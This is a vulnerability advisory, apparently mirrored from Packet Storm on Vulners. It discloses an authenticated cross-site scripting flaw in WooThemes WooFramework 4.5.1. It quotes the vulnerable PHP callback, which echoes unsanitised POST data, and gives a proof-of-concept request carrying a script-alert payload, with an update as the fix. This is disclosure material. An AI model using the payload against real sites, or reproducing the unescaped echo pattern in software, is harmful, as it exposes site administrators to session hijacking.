Lucene search
+L

WooThemes WooFramework 4.5.1 Cross Site Scripting

🗓️ 24 Apr 2015 00:00:00Reported by EvexType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

WooThemes WooFramework 4.5.1 Authenicated Cross Site Scripting (XSS) vulnerability in function woo_sbm_callback

Code
`------------------------------------------------------------------------------  
WooThemes WooFramework 4.5.1 Authenicated Cross Site Scripting (XSS)  
------------------------------------------------------------------------------  
  
[-] Vulnerability Description:  
  
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  
  
the vulnerability is in function "woo_sbm_callback":  
Vuln Code:  
function woo_sbm_callback() {  
...  
$save_type = $_POST['type'];  
...  
if($save_type == 'woo_sbm_get_links'){  
  
$data = $_POST['data'];  
parse_str($data,$data_array);  
$type = $data_array['type'];  
$slug = $data_array['slug'];  
$name = $data_array['name'];  
$id = $data_array['id'];  
...  
...  
echo "$type|$name|$slug|$id|$url|$conditional";  
  
}  
...  
}  
add_action( 'wp_ajax_woo_sbm_post_action', 'woo_sbm_callback' );  
  
[-] Proof Of Concept:  
URL:  
http://localhost/x/wordpress/wp-admin/admin-ajax.php?action=woo_sbm_post_action  
Post Data: type=woo_sbm_get_links&data=type=<script>alert(1)</script>  
  
[-] Fix / Solution:  
Update to latest framework.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation